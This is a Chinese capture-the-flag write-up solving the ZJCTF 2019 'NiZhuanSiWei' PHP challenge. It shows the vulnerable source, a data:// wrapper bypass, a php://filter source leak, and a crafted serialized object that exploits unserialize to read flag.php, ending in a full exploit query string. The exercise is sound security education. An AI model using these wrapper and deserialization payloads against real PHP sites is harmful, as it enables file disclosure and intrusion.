[ZJCTF 2019]NiZhuanSiWei 1

一 前置知识点

file_get_contents函数 — 将整个文件读入一个字符串

ctf中伪协议总结

 

二 解题

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

data协议传入的数据是会被当做一个文件的,通过data伪协议写入文件绕过第一次检查,不加base64编码也可以,加上防止被某些检查给ban掉。

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

直接file=useless.php是无法读取php的,php会被执行。所以需要利用php伪协议中的filter过滤器读取useless.php的base64编码。

?file=php://filter/read=convert.base64-encode/resource=useless.php

解码得到

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

怎么去给这个类的file成员变量赋上flag.php呢。

else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

如果我们给变量password赋上 经过序列化的并且file变量为flag.php的类Flag,这样的话,经过unserialize函数,

password变量被反序列化一个类,并且经过echo,会把这个类执行并输出。

所以本地执行一下构造payload

<?php  

class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}
$a = new Flag();//创建对象完之后再序列化
echo serialize($a);
?>  

结果为

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  

不要忘记给file变量赋值上useless.php,这样才能被包含上。总的payload为

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 总结:

这道题目是伪协议和反序列化的简单综合应用,关键是第一个思路打开点通过data协议生成一个文件,绕过file_get_contents的检查

原文地址:https://www.cnblogs.com/akger/p/15071356.html